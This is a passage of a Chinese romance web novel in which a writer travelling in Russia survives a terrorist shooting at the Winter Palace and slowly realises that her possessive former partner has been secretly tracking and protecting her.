她喝了一口感冒药,就连当时的苦味都是一样的。
47. 第47张照片
“哦,千,很抱歉我忘记把垃圾带走了,这些粉末弄得桌上到处都是。”
简进门就看到她手头上拿着的包装袋,颇为抱歉。
“这是你买来的药吗?”千瑶不经意问道。
简“唉”了一声,“之前来的Z国游客剩下的,没带走。”
“他们来到了这里,也是水土不服,感冒发烧。所以他们备了点药,临走的时候还送了我几包。”
“药虽然苦,听说很管用,还剩下一点儿,你乖乖喝完,明天就好了。”
简拿过她手上的包装,又拿了纸擦干净桌面。
千瑶听着她自然的话语,心里的戒心逐渐放下。
原来这么回事,毕竟这个药在Z国也很常见,她可能草木皆兵了。
发烧让人的判断力降低,她这些天老是想起邵柏修,可能潜意识就受了影响。
他怎么可能出现在摩尔曼斯克。
千瑶晚上喝了药,出了大汗。
这药很管用,和当时在荧光海的状况一样,第二天就恢复得不错。
千瑶整理好背包,提着行李箱下楼。
她告别了简,这些天她受了简很多照顾。无论是餐食还是生病,她都面面俱到。
千瑶给简送了很多团扇,还有一些陶瓷茶杯,对她表示感谢。
简收到礼物特别高兴,希望她下次来这里时,还能常来见面。
此时的千瑶来到了机场,在大厅等候。
当时的她只是为了逃离邵柏修,随意去的一个地方,没想到就来了俄罗斯。
从莫斯科到摩尔曼斯克,一切的都是刚刚好。
距离她从邵柏修身边离开,已经有半个月了。
这半个月,是从未有过的自由。
之前在富溪川府经历的那些,仿佛就像是一场梦。
千瑶不知道邵柏修现在如何,可能还在找她,也可能就此忘了她。
登机的时间到了,广播开始播报。
千瑶飞往圣彼得堡。
落地的时候是当地的下午,她找了一处酒店住。
酒店距离市中心稍微偏僻些,但是价钱还是很可观。
她打算修整一会儿,就去格乐丽雅购物商场。
这里的气候比摩尔曼斯克暖和,路上也没有积雪。千瑶走在大街上,暖黄色的大风衣裹在身上。
她戴着一条毛绒围巾,就这么出门了。
千瑶计划要去商场买些纪念品,到时候带回去雪莉卡。
雪莉卡最喜欢墨镜,她到时候挑几个回去,然后再给她带个俄罗斯套娃。
她暂时还想不到买些什么,到时候去再看看。
千瑶刷信用卡很爽快,看到什么就买。她特别喜欢冰箱贴,恨不得全买回去。
她从一楼逛到五楼,身上一堆的包装礼袋。原本两手空空来,现在就希望自己能有八只手来提东西。
千瑶找了一处椅子,坐下来休息会儿。
她本来不出汗的,现在走累了,轻微喘着气。
斜对面有个奶茶店,奶茶店排队的人不算多。她正巧渴了,看着这些图片,指着一杯珍珠奶茶和店员交流。
她从口袋里拿出钱包,而后数了一下钱,其余的都放在右侧的口袋里。
千瑶还在和他翻译交谈着,就在等待的期间,有一个男人靠近她的身后。
男子戴着鸭舌帽,身材魁梧,刚好挡住了侧面人群的视线。
他时不时抬眼看千瑶,察觉她没有注意后,伸手一夹口袋的钱包。
得手后赶忙放入内衬的口袋中,而后刚出奶茶店没多久。
哐当——
直接被远处而来的一个男人踹入了店内。
“啊——”
店内的顾客吓奶茶都洒了,浇了那个男人一身。
千瑶顿时被这个场面惊得捂住唇,她缩到台边的一个角落。
墨镜男健步上前,一个过肩摔,完美的擒拿,将他按在地上。
鸭舌帽男被人死死地按住,按住他的是一个戴墨镜的俄罗斯男人。
他穿着笔挺的西装,身材高大,反手钳制着那个男人的手。
从他的动作上看,完全是个练家子。
墨镜男从他的胸口掏出那个粉红色的小钱包。
千瑶瞳孔一缩,那是她的包包!
她摸着口袋,完全空了。
“小姐,有小偷,拿钱的时候谨慎些,他们这些人专挑你们小姑娘下手。”
他的英语听起来蹩脚,千瑶听懂了,原来地上这个人是小偷。
好心人路过见到了他偷盗,当即将人拿下。
千瑶拿过包的时候,人还是懵的。
此时的店长赶过来,墨镜男叽里咕噜地和他交涉了一番。
店长当即打了电话,急忙地让安保将小偷移交警察,急忙安抚顾客的情绪。
千瑶看着地上满目狼藉,她诚恳地说道:“先生谢谢您的帮忙,这些损失的费用我来付。”
她说完后,直接将包里的信用卡递给店长,弥补店内的损失。
桌椅都损坏了,做好的奶茶全洒,毕竟这件事是因为那个先生帮她,才导致的这个场面。
她主动承担责任。
墨镜男看了看她,没说什么,径直就走了。
千瑶看他走得匆忙,赶忙跟了上去,小跑几步叫住了他。
“先生,谢谢你的帮忙,这个送给你。”
“这是我喜欢的冰箱贴,希望你也喜欢。”
她把自己的胡萝卜冰箱贴送到他手里,双手摊开。
千瑶期待地看着他,这个是她在众多冰箱贴中挑选出最喜欢的。
虽然很舍不得,但是送给她的恩人刚刚好。
墨镜男看着那冰箱贴愣住了。
千瑶见他没有动作,以为他是不好意思。而后直接塞到他掌心里,再次道谢。
墨镜男摸着冰凉的冰箱贴,看着她跑回店里,去和店长拿信用卡。
他口袋的手机振动,电话直接打过来了。
“boss,钱包及时拿回来了,小姐没受伤。”
“继续守着她。”
“是。”
“还有,把你手里的东西交上来。”
“它是我的。”
一道视线往他这边看来,墨镜男仰头上视,五楼站着一个男人。
那个人正是boss。
邵柏修双手撑在栏杆上,往奶茶店注视着那忙碌的身影。
千瑶拿着拖把正在拖地,地面被拖得锃亮。
前前后后,上上下下,全都干干净净的,不放过任何被奶茶洒过的角落。
店员站在一旁,都没了插手的功夫。
千瑶不想给别人添麻烦,很快就完成了。
她提着东西,该买的东西都买全了,准备下电梯出商场。
可刚到门口,外边就下起了大雨。
瓢泼大雨淋湿了过路人,天渐渐暗下来,在雨幕之间,能见度骤然降低。
千瑶颇为苦恼,她懊悔自己没带伞出来。
今天
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她打算逛完商场后早回去,晚上码字,现在这一场雨打乱了她的计划。
她记得有一家卖雨伞的店铺在四楼,还比较远,她又得去一趟。
“欸,小姐,你是不是没带伞。”
熟悉的中文在耳边响起,千瑶扭头,见到一个穿着汉服的小姐姐。
她也是Z国人,来这里旅游的。
千瑶和她聊了几句,在异国他乡,看到同胞异常亲切。
“我这里正好多了一把伞,就给你吧。”
“你太好了,谢谢。”
千瑶拿到伞,点开打车软件一分钟就有人接单。
她本以为还需要等一会儿,毕竟下雨天,这儿属于街区,路上容易拥堵。
“旅程快乐,有机会下次见。”
千瑶告别小姐姐,坐上计程车时感觉自己今天特别幸运。
钱包被偷了,但有好心人帮她制服小偷。
下雨天没带伞,还有同胞送伞。
一分钟接单的计程车,根本不需要等太久。
千瑶感觉心里暖暖的,她今天真的是被幸运之神眷顾。
车内的暖气吹得暖烘烘,她的小脸通红,手中的奶茶很甜,比国内的加了很多糖。
千瑶看着窗外,没几分钟就到了酒店外。
就在她准备下车时,司机冲她摆手,让她先不着急。
“小姐,今天我太太有喜,车费给你打五折。”
千瑶眼中闪过一丝诧异,随后送上自己的祝福。
司机大叔手机上操作了一下,钱直接退了一半。
千瑶的手机软件就收到了消息,她谢过他的慷慨,还对他说了几句祝福语。
千瑶回到酒店的时候,脑袋还是晕乎乎的。
她今天是怎么了,一路绿灯。
千瑶将今天的感受都写在了作话。
【
作者有话说:也许冥冥之中幸运之神在眷顾我,今天出门就有好运。】
【狸:恭喜恭喜,沾沾运气。】
狸是秒回的评论,千瑶看到狸发的评论表情,感觉她一直在关注自己。
紧接着狸一口气砸了很多瓶营养液和霸王票,在底下关心她,时不时催更。
千瑶一下子就有动力了,她的读者真的很温暖。
【狸:注意保暖,不要感冒了,照顾好自己贴贴贴。】
【狸:大大,旅行累了就休息,我们都可以等的。】
【狸:近日圣彼得堡会下小雨,但是比其他地区要温暖得多,大大出门也要记得带伞哦。】
千瑶看狸发的一连串评论,她这才注意到狸的ip地址变了。
狸也在圣彼得堡。
还真的是,千瑶昨天看的时候,还是在摩尔曼斯克。
“好巧。”她和狸太有缘分了。
千瑶将自己的存稿都发了上去后,她合上了电脑。
她躺在床上,刷手机看了眼天气,近期果真有雨。
视频下滑,一则财经新闻。
“据悉,邵氏集团新任掌门人首次在媒体前公开露面,康勃雅医疗开拓俄罗斯市场。”
“邵柏修先生在莫斯科与......”
千瑶听到那个久违的名字,心不由自主地颤动。
熟悉的面容出现在荧幕上,西装革履,谈吐有礼。
他看着镜头时,眼眸深邃,棱角分明的脸挂着浅淡的笑意。
邵柏修也来俄罗斯了。
千瑶手指瞬间发凉,攥着手机的手滑落,砸在她的颈侧。
48. 第48张照片
“......他也来了。”千瑶喃喃道。
害怕恐慌犹如冰凉的水从头顶浇下,心头就像被什么给堵住,急剧地喘息着。
千瑶看着消息发布的时间,是今天上午。
他只是在莫斯科而已,因为工作来的,他不会觉察她就在这儿。
千瑶安慰自己,让自己镇静下来。
千瑶将视频的内容再仔细地看了一遍,上边说康勃雅医疗谈合作,打开俄罗斯市场。
他工作完就会回国,而莫斯科与圣彼得堡相距六百多公里,以他的性格,不会有闲心去别的地方旅游。
想到这儿,千瑶稍稍安心。
明天一早,她会去冬宫看看,欣赏文物的同时也是采风,为写作筹集灵感。
所以今天千瑶睡得很早,她刷了几下手机,没过一会儿就进入了梦乡。
轰隆——
闪电犹如银白的丝线,遍布夜空。
“千千乖,你先走,装作不认识爸爸。”
千瑶的手倏然放下,手中被塞入一把黄色小雨伞,打开让她自己撑着。
她很不高兴,她气得跺脚,明明今天说好要去动物园看长颈鹿的。
而且爸爸才刚放假,这句话她已经听了很多遍。
他只要一这么说,就要离开自己。
“爸爸,你收到任务,又要去当超人了吗?”
千瑶抬眼便是俊朗的面容,他很快戴上黑色的口罩。
爸爸半蹲下,“你往前走到那个亭子里,在那里坐着等一会儿,等下我就过来。”
他的眼睛笑得温柔,犹如两枚弯弯的月亮。
他的左眼尾处有一处细小的刀疤,视线不停地往街角瞥去。
雷声轰鸣而下,天色阴沉沉的,将整个天幕压得犹如黑夜。
千瑶看着他的身影,他往雨幕里跑去。
雨水淋湿了他的头发,里衣被雨淋着,浑身湿透了。
风夹杂着雨,他一定非常冷,等会她就从书包里拿出暖宝宝给爸爸贴。
千瑶很听话,爸爸让自己去前面,她撑着雨伞就往亭子里去。
忽地,身后响起一众尖叫声。
“啊——”
“快跑!”
人群犹如四散的惊弓之鸟,骤然散开,跑得猝不及防。
惊叫和轰鸣的雷声冗杂在一起,犹如诡异的交响曲。
千瑶被这些尖叫声吓到,她站住脚,往身后看去。
在她抬起黄色小伞时,枪声骤然响起。
砰砰——
距离千瑶几百米处的男人映入眼帘。
那是......爸爸。
他的口罩在扭打之中掉落在地,被人踩进泥里。手枪踢飞,卡在横渠里。
他完美地擒拿住一个牛仔外套男,外套男手里拿着炸药□□。
在口罩掉下的刹那,外套男颓然一震。
“阿晨,你不是死了吗?没想到是你!”
“枉我这么信任你,你这个白眼狼,该死的条.子!!!”外套男震惊地嘶吼。
阿晨的面容冷峻,雨水顺着他的刘海下滴。
嘴唇紧抿着细线,手中的匕首闪着冰冷的银光。
恨意已经让外套男失去理智,就在外套男即将扯断拉环时,阿晨眼神一缩。
倘若爆炸,这里的人全都活不成。
紧急之下,他没有犹豫,手中的匕首插入他的心脏。
忽然,枪声再次响起。
砰——
阿晨的左胸口出现一个血洞。
千瑶的雨伞落地。
爸爸!
眼前的人轰然倒地,压在外套男的身上。
雨淋湿了她的眼,泪水倏然流下。
她不敢过去,爸爸说过,要装作不认识的。
今早爸爸帮她编的麻花辫已经被雨水打乱了,她今天明明很开心的。
雷声在头顶上轰鸣,闪电的白光映着她的泪水。
有两个蒙面男人骑着摩托而来,溅起泥水,手里的枪还未熄火。
他们在见到阿晨的刹那更是震惊。
当家二把手原来是叛徒。
本来死去的人却再次出现。
蒙面男子喊了几声,“老大——”
外套男瞪着眼睛极大,当场暴毙。二人愤恨,又在阿晨身上补了两枪。
警笛鸣响,二人仓皇而去。
千瑶跑得踉跄,她的眼泪滴在地上。
她趴在爸爸身上,红色的血,都是血。
爸爸抬起眼帘,还是那一双温柔眼,仿佛在安抚着她。
“爸爸,爸爸......”
千瑶不敢碰他,他身上好多伤口,随意碰会痛的。
可是他却主动握住了千瑶的小手,鲜血染红了她的手,潮湿黏腻。
“乖,爸爸当了超人......以后在住在太阳里。”
“爸爸终于能够在阳光下了。”
千瑶眼泪滴在他的眼尾的疤痕上。
他的眼帘微微合上,流下了一抹泪。
“小妹妹,快让开。”
“担架、快快!除颤器。”
“几下了?接着按!”
“......”
千瑶哭醒了。
外边阴雨连绵,有风。
她记起来了,她把爸爸忘记了。
千瑶看着从阳台吹进来的雨,窗户没有关好,从窗口看见闪电的冷光。
耳边轰鸣的雷声在震颤,她将自己蜷缩在一起。
她环抱着双膝,眼泪不停地流。
千瑶捂着耳朵,她讨厌下雨,讨厌雷声。
手机的屏幕忽然亮了,前台的小说界面凌晨三点多,跳出来狸的评论。
【狸:打雷下雨天,如果太吵睡不着,可以听会儿喜欢的音乐。】
【狸:我也不喜欢打雷,现在圣彼得堡的雨太讨厌了。】
千瑶看着她的评论,眼眶湿热。
狸好像一直都能理解她。
她曾经提到过自己害怕打雷,狸记得。
千瑶抹掉眼泪,刷着她的评论,渐渐心情就平复了。
雷声作响,她戴上耳机,听着舒缓的音乐。
千瑶缓缓勾起微笑,凌晨三点的狸也没有睡觉,她还在发评论。
【狸:《来自巴塞罗那的情书》很好看,我也想给我的爱人送情书,可惜......】
话说到一半,她就停了。
千瑶看着她发的文字,感受到了狸的悲伤。
而后就没有下文了。
她心情一沉,抱着手机再刷新一下,她还是没有继续发评论。
千瑶不去打扰她,也许狸在感情上受了伤。
千瑶希望她写的小说能让狸感觉到一丝温暖。
她躺在床上,听着乐曲,渐渐地在这个雨夜中睡着了。
次日一早,天空晴朗。
下了一夜的雨终于停了,酒店服务员送来早餐。
她吃过之后检查好自己的相机,而后就出发了。
酒店距离冬宫倒是有十分钟的路程,她从街区走过去不算很累。
千瑶站在冬宫广场外,全部都是苏联时期的建筑。
庞大宏伟迎面而来,有一种古典的庄重感。
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18世纪中叶俄国新古典主义建筑艺术,在这里展现得淋漓尽致。
她走入宫内,两百多年前的陈设古朴,柱廊林立,很多的画作珍贵。
千瑶走走停停,大部分是俄罗斯古典藏品,还有其他国家的珍宝。
当她上到三楼,千瑶被眼前的一切震撼了。
不是因为这里的藏品有多么与众不同,而是因为这全是来自Z国的文物。
她看着那些熟悉的字画,走过廊间,挂在墙上的水墨丹青。
在一排排的玻璃柜里是珍贵的青花瓷,战国时期的印章,还有青蓝相接的彩蝶。
千瑶越走感觉脚步越沉重,她心里很不是滋味。
她驻足在一件宝冠前,凤冠霞被。
血红的玛瑙点缀着外冠,珍珠镶嵌着冠身。
珍贵而美丽,上边有中文和俄语双语注释。
讲述的是一对凄美的爱情故事,是战国时期的王妃所戴,所为成婚时的陪嫁。
王爷新婚没多久,战乱四起。他领兵出征,王妃苦苦守候,最终等来他死于战乱的消息。
王妃殉情,算是另一种的长相厮守。
千瑶看到这里,她不愿意再走下去了,她越看眼眶就越红。
正当她走出一个宫室,刚准备下楼梯,忽然见到二楼的一个女士在自己面前脑浆爆开。
砰砰砰砰——
“啊——”
“Помогите!(救命!)”
瞬间整个宫殿一片嘈杂,血遍地流淌。
千瑶瞬间跌坐在楼梯上,她吓得说不出话。
那个女人双眼还没阖上,后脑勺直接炸开了,无数惊慌失措的人在往她身旁跑。
有些直接被绊倒,被人踩了过去。
千瑶不知道发生了什么,而后枪声持续不断,连续的射击间隔很短。
有人着急下楼梯,千瑶被推搡着,跟着人群从这里下去。
她害怕极了,扶着楼梯把手的手都在抖,她双腿发软,只希望自己下楼的速度更快。
枪声还在持续,在千瑶身边十几米的男士接连中弹倒下。
他们是无差别攻击,专门携带的步枪。
千瑶来到二楼大厅,这里的宫殿特别大,她往一楼看去,下边是成群的尸体,横七竖八地躺着。
无数的人涌向门外,却被当成靶子扫射。
千瑶脑子在飞速运转,现在下去更危险,也不见得能去到门口。
而二楼的高度,如果从窗口跳下去,不死也一定残,到最后还是会被射杀。
几个蒙面人已经往楼梯上来,她听着脚步声,急得要哭出来。
千瑶想起西北角有个柜子,对,那里是会客厅,而且距离这里不远,柜子的大小刚好可以藏人。
千瑶赶忙逆着人群,打开柜子躲了进去。
她急忙打开手机,发送求救消息,同时将自己的手机调至静音。
突突突突——
接连的枪声在楼梯间响起,他们来到了二楼扫荡。
外边的游客在跑,不同国家的语言交织,都在喊救命。
千瑶听着柜外的惨叫声,她的恐惧已经达到了顶峰。
心跳得飞快,大脑完全空白,她只能等待救援,希望警察来得快一点。
她的眼泪不争气地往下流,捂着唇不敢发出声音,默默地抽泣。
千瑶听着枪声好像距离她远了,紧绷的身体逐渐放松下来。
下一瞬,柜门被人直接打开。
头顶的水晶灯照着千瑶愕然的脸,戴着口罩的男人赫然出现在自己面前,手上拿着一把枪。
49. 第49张照片
千瑶仿若一头冷水浇下,血液冻得凝固,在纷乱嘈杂声中心跳的声音急速加快。
她眼神中带着惊恐,面色煞白,犹如见到了恶魔。
千瑶往后缩,可是无济于事,身后就是柜子,退无可退。
“不要过来,不要杀我......”
男人穿着简单的夹克皮衣,头顶上戴着兜帽。
鸭舌帽压着他的眉眼,他戴着黑色的口罩。
在他靠近的刹那,千瑶呼吸一滞,紧紧地闭上眼。
可下一瞬,她就撞入一个温暖的怀抱。
他抱住千瑶,将她的脑袋埋在自己胸口,柔情地抚摸着她的发顶。
“别哭。”
轻柔的俄语在她的耳边安抚,他的声音带着沙哑的磁性,紧张的眉眼看着她。
千瑶颤抖的身体蜷缩,她被他的动作给吓到了。
“乖,跟着我。”
他将千瑶从柜子里抱出来,攥着她的手腕。
他的手很冰,右手拿着枪垂落,左手护着她的脑袋。
二人快步穿过走廊,他走得很快,千瑶跟得踉跄。
下楼的时候,枪声还在持续。宫殿内一片混乱,有流弹在飞,嚓着墙壁电光火石。
子弹打碎了防护玻璃,一地的玻璃碴子飞溅。
千瑶看着他的双眸,他注视着前方,沉静冷漠。
几名游客躲在一个柱后的展示柜里,迎面而来的扫射让里边的人惨叫。
柜门破开,尸体仰躺倒下,身上脑袋多了好几个血洞。
千瑶紧紧捂住唇,几条鲜活的生命就在自己面前消失,血都是血。
那人还倒在地上抽搐,大厅见到的蒙面男有五六个,有几名还往楼上去了。
这里简直是人间炼狱。
男人带着她压低身子,找了个掩体,暂时避过他们的视线。
他发觉身边千瑶在默默地啜泣,眼神发怔。
眼眶通红,眼泪在往下掉,她捂着唇让自己不要发出声音。
她被吓坏了。
男人抹去她脸上的泪水,“等会就走,能出去的。”
“......谢谢你。”
千瑶攥着他的手臂,攥得紧紧的。
恐惧让她的精神紧绷,她克制住自己的情绪,不想拖人后腿。
宫殿太大,四散的人群都在往门口涌跑。
他们现在距离门口也就几步之遥,只要拐过楼梯间,就直接到门口。
男人当即拉着千瑶的手,俯身往前快速走。
就在这时,一抹流弹擦过千瑶的脸颊,右脸处出现一道血痕。
子弹打在石柱上,千瑶头发纷飞,呼吸停滞。
在那一瞬间,周围安静得能听见她的心跳声。
身后揽着她的手,压着她的肩膀往下俯身。
蒙面男见一次不中,当即抄起AK,子弹上膛,对准千瑶。
男人眼眸一冷,霎时之间反应极其迅速。
举起枪,砰砰砰。
连续三枪,左胸,右肩,膝盖。
枪法精准,弹无虚发。
那人捂着胸口,直愣愣地扑到在地。手里的步枪瞬间飞出,掉在远处。
他趴在地上,倒在血泊中动弹不得。
千瑶不由自主地将视线落在眼前的背影上。
男人的蹙起剑眉,眼眸中隐忍着薄怒,扭头与她的眼神对视,还带着紧张的后怕。
看着他的身影,那一瞬间的恍惚,让千瑶想到了邵柏修。
男人扯过她的手腕,让她靠近自己,视线简单地扫视她全身。
“有没有受伤?”他的俄语说得很快。
她身上没有枪伤,只是脸上擦破皮,被吓到了而已。
千瑶听不懂,她猜他在问自己的情况。
她摇头。
这边的枪响引起了同伙的注意,几人在往这边赶,肩上扛着枪前来查看情况。
没时间了,门口太多人。
男人随即带着千瑶,揽着她的腰,从一楼的窗口,破窗而出。
琉璃玻璃碎了一地,千瑶压在他身上。
脑袋砸在他胸口,男人的手始终护着她的头部,她没有受到此次冲击的伤害。
男人从喉间溢出低声的闷哼,他的背部扎着玻璃。
他迅速地起身,大街上的人也在匆忙逃跑,他拉着千瑶往一个少人的街道跑。
一连拐了几个街道,距离枪声逐渐远。
千瑶喘着粗气,前边的男人停了下来,她累得满头大汗。
她实在是跟不上他了。
千瑶缓了好一阵,从包里拿出手机。
她用翻译器对他道,“先生,谢谢你救我。”
千瑶擦去额头的汗水,她能死里逃生,都是因为他的帮忙。
刚刚如果她继续躲在柜子里,下场可能和那几名游客是一样的。
无差别的扫射,她也可能就这样死去。
男人的兜帽宽大,压着他的头发,遮住了他眸中的神情。
他没有说话。
千瑶视线垂落,见到地上滴落血珠,血一滴滴地缓慢滑坠,在地面绽开血花。
她的瞳孔一缩,顺着不断下坠的血珠往上看,见到男人的身后皮衣扎着很多碎玻璃。
皮衣被锋利的玻璃割破,还残留着玻璃渣子。
透过裂开的皮衣,露出白色的T恤,里边被染得血红。
直直扎进肉里,殷红的血液从衣服滑下,刮擦的皮肉翻飞,让人看了触目惊心。
“先生,你受伤了。”她着急地要带人去医院。
她拽着他的手臂,但是他没有动。
“医药费我来付,您不用担心。”
千瑶很感激他,如果不是他护着自己,她刚刚一定摔得特别惨。
他是自己的救命恩人,照顾他是应该的。
可是这位先生就静静地注视着自己,千瑶以为是翻译器没说对,她又用英语再次说了一遍。
“不用了。”
“可是你的伤。”
千瑶说到一半,就见他从口袋里拿出一个创可贴。
他递给千瑶,见她还愣着,直接放入她口袋里。
“回去的时候,清理一下伤口。”
千瑶愣住,她的伤口?
见千瑶在他面前走神,他啧了一声,点了点右脸颊。
她这才意识到他在说什么,她那点小伤都快忘了,现在他比自己严重,还念着她那点伤。
在愣神间,千瑶脑海中闪过无数的心思。
因为刚刚先生说话的语气非常熟悉,尤其是他的声音。
刚才在博物馆内的紧张环境下,纷乱嘈杂枪声四起,她没有注意。
现在街道只有他们两个,她听得格外熟悉。
很像一个人的声音——邵柏修。
千瑶怔住,脑海中出现的三个字让她心下一颤。
她盯着他的视线灼灼,心里的疑虑逐渐攀升。
这位先生从上到下都把自己包裹得很严实,只露出一双眼睛。
千瑶很想问他的装束,口罩遮住了大半张脸,刚刚着实把她吓到了。
他手里拿着枪,她还以为和那些恐怖分子是一伙的。
至于那个人,不、不可能会是他。
今天天很冷,也有俄罗斯人是这么打扮的。
千瑶默默在心里否定。
如果是邵柏修,找到她后,一定会把她抓起
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来。
而且不会让她离开视线,变相的软禁。
她现在就不会在圣彼得堡而是回京市了。
千瑶想起刚刚在二楼的会客厅,所有人都往楼下涌,来到这里至少要逆着人群走。
而且她藏的地方很隐秘,鲜少有人会特别注意到这个柜子。
况且在这么慌乱的情况下,每个人都自顾不暇。
“先生......您为什么知道我在柜子里?”
男人顿了顿,看向她的眼神平和,“柜门没有关好,你的衣服被夹着,漏出来了一角。”
千瑶点头,她刚刚也太不谨慎了。
如果来的是暴徒,她难逃一劫,她遇上这位先生,也真是很有缘分也特别幸运。
他说得一口流利的俄语,只不过声音和邵柏修太像了。
他刚刚说话的时候,千瑶还以为在和邵柏修对话。
声音相似的人很多,她真的太紧张了,什么都联想到邵柏修。
这一点非常不好。
她从包里拿出一些现金,想要给他当做医药费,奈何他不收。
“赶紧回去,现在这边有动乱,外边不安全。”
“天黑了也别出来,最好早点离开,东西都还在吗?”
千瑶立刻检查了一下自己身上的东西,关键的证件都没丢。
相机放在包里,没有磕坏。
她松了口气,发顶被人揉了一下。
千瑶抬头一怔,撞上他的视线。
淡淡的雪松香气倾覆而下,他微微低头,轻吻她脸颊。
贴面礼,蜻蜓点水的三下。
千瑶呼吸一滞,攥着包袋的手紧了几分。
“见到你很高兴,祝你旅行顺利。”
他微微一笑,眉眼都温柔了许多。
他说完后,离开了街道,直到消失在千瑶的视线内。
这个人......还真是很像他。
千瑶回到酒店后,今天冬宫遭遇恐怖袭击的新闻就立刻上了新闻。
于此同时,当地时间下午,圣彼得堡的一处军事基地遭到了轰炸。
恐怖分子猖獗,待下去会更危险。
这里的战乱就要开始了。
千瑶明天就走,直飞M国。
千瑶躺在床上,和雪莉卡说了这件事,给她报平安。
她刷着评论区,见到狸刚刚发布的留言。
【狸:见到了我的爱人,她很好,我感觉特别幸福。】
【狸:在刚刚的动乱,我差点就失去她了,还好我护住了她。】
她?
千瑶注意到狸的字眼。
她点进狸的主页,显示的蓝色标识。
狸是男士。
千瑶怔了怔,心里暗惊。
她一直都没有注意过,看着他的狐狸头像,特别可爱,她一直把他当做女生。
一般看她的小说的读者,大部分是女孩子。
千瑶莫名地想起刚刚在街巷的那个口罩男人,他也是在动乱中护着她出来。
刚刚匆匆离别,她也没问他的姓名,留个联系方式。
千瑶坐在梳妆镜前,用棉签仔细地清理伤口,还在细细回想这件事。
脸颊被子弹擦过,烧得刺疼。
消毒的过程也很痛,她咬着牙涂完了药。
她想到口袋里的创可贴,是刚刚他送的。
千瑶从口袋拿出,见到上边的图案,颓然愣住。
手中的棉签掉在地上,药瓶打翻台面,药液顺着桌面滴落。
小蛋糕浅粉色创可贴。
千瑶记得之前在御萃长庭的时候,这个图案的创可贴她用过。
与她现在手中的这枚,一模一样。
50. 第50张照片
之前她替邵柏修做爱心晚餐的时候切到过手,而后用的就是王妈给她买的创可贴。
她很喜欢上边可爱的蛋糕模样,之后就一直在家里备着。
还有好几次,邵柏修也伤过手,她就拿这个创可贴给他。
当时他还特别嫌弃,还是在千瑶的硬拽之下,给贴上的。
那个人......
千瑶心很乱,让自己不要去想了。
-
细密的汗水布满额头,水晶吊顶的灯光落在麦色的肌肤。
赤裸着上身,手臂的青筋暴起。
身侧的水盆里的水换了一次又一次,猩红的血水上搭着一条毛巾。
铁盘子中呈着玻璃渣,每一片上都带着血。
邵柏修额间的碎发被汗水打湿,带着隐忍的痛,摩挲着那枚橙色胡萝卜冰箱贴。
身后的肌肤被玻璃刺得划拉,深得见到翻飞的血肉。
医生将白色的纱布在他的肩上,绕过胸膛,仔细缠好。
“先生,都处理好了。”
医生收拾好后,提着药箱。
邵柏修瞥了身侧人一眼,邹秘书便送人离开。
邵柏修拿过一件外套,披在身上。每一下的动作都牵动伤口,他稍皱起眉头。
伤了还真是麻烦。
“先生,需要增加安保吗?”
“最近动乱就要开始了,小姐还住在酒店里。”邹秘书回来后,担心地说道。
邵柏修睨了他一眼,“你倒是很关心她。”
邹秘书骤然抬眼,对上他审视的目光。
邹秘书低下头,颓然不语。
“在酒店外围增加,跟着的时候,别让她知道。”
“是。”
邵柏修拿过烟盒,点了一只烟。
吐出烟圈,指尖掸了掸烟灰。
“先生,您的身体不宜过度抽烟。”邹秘书劝道。
自从小姐走后,先生抽烟的频率就开始增加,他看得出先生内心的烦闷。
当时在摩尔曼斯克找到小姐时,先生就快疯了。
邹秘书本以为先生会比之前更疯狂,可先生却没有让人带小姐回来。
他忽然看不懂先生的行为了。
“行了,出去。”
邹秘书颔首。
圣彼得堡又下起了一场雨。
邵柏修看着古堡外的雨幕,窗沿的雨水打湿窗台。
就在刚刚,他手机里的小说又更新了。
邵柏修夹着烟,点开最新章,浏览了一下内容。
她写得很有趣,《来自巴塞罗那的情书》已经更到六十多章了。
他亦如往常在下边留言。
【狸:按爪。】
【狸:撒花花。】
照惯例又投了几瓶营养液。
邵柏修不由自主地勾起柔和的笑意。
忽然想到那一天,她给自己回复,短短几分钟的时间,就暴露了ip。
千瑶曾经说过,她想要去看极光。
摩尔曼斯克的极光很美,确定了ip位置。天气寒冷,漫天冰雪,那里的住宿区相对集中。
千瑶喜欢做攻略,她会在网上去借鉴别人旅行的经验,推荐最多的民宿会是她的选择。
手机电话铃声响起,邵柏修接起。
“先生,M国Medtronic公司的CEO想和您见面,问您明天下午有没有时间。”
“可以。”
“我离开后,千瑶有任何情况及时跟我汇报,一定确保她安全上飞机。”
“好的。”
“多加几个女保镖,今晚住进她的酒店。”
“好的先生。”
邵柏修的声音停顿了一会儿,他看着前方的雨,阴云密布。
天光被昏暗压下,吐出的烟雾融进雨幕间,霎时散开。
倏然陷入沉默。
电话那头的人以为断线了,“嗯?先生,您还在吗?”
“还有......告诉邹明,让他暂时留在圣彼得堡,不用和我去了。”
电话那头的助理愣了愣,邹秘书向来是先生不离身的助手。
一直以来和对方公司对接事务的也是邹秘书。
千小姐还在圣彼得堡,先生看来是很担心小姐,以至于将亲信留下。
助理在短暂的愣神后,立刻回应,“我会转达给邹秘书的。”
邵柏修挂断电话,指节夹着烟。他看着外边的雨,下得越发急。
雷声霎时响起,声浪荡开雨幕,天空仿佛震颤。
他的小兔又该害怕了。
千瑶捂着耳朵,看着外边的雨,一点也没有要停的意思。
耳机里舒缓的音乐,让她渐渐平静。
眼前的电脑屏幕映着光亮,她还没有写完今天这一章。
肚子却先一步饿了,她的晚餐还没吃。
酒店九楼有餐厅,她打算去那儿看看有什么好吃的。
她揉了揉肚子忍住了,继续把剩下的一千五百字写完了再说。
千瑶不想打断现在的心流状态,有时候情绪来了,写得就很顺。
她不想回来再写,容易断情绪,找不到感觉。
千瑶理顺了情节,写得很快,这一章存稿完成。
她现在每次都要打开后台,看看读者的评论。见到那个熟悉的id,她只要一更新,狸总是第一个在底下留爪的。
她每次见到评论,心里都暖暖的。
有时候其他读者有疑惑,狸还耐心地替人解疑。
狸看文很仔细,有时候她埋的伏笔,还被他发现了。
然后千瑶就很痛苦,这是她的悬念,就得被迫煎熬地改文。
因为她想让读者对下一个情节有期待。
她留的钩子,不能被狸全抖落出来。
千瑶想想,狸有时候真的跟她同频,知道她文中想要表达的情感和思想。
【狸:我看出来了,女主想要自由。】
【狸:我的爱人,她想要的是自由。】
这是他半个月前留的。
千瑶在文中隐晦的表达,也是这个意思。
女主有自己的思想情绪,她有时候所做的选择,也是反映作者的心理。
千瑶勾了勾嘴角,合上电脑。
现在天已经完全黑下来,晚上的圣彼得堡亮起灯光,巴洛克风格的穹窿顶,橙黄的颜色配上灯光,变得华贵典雅。
她从这里俯瞰,美不胜收。
雨已经停了,下过雨后的空气清新,没有讨厌的雷声,千瑶心情逐渐变好。
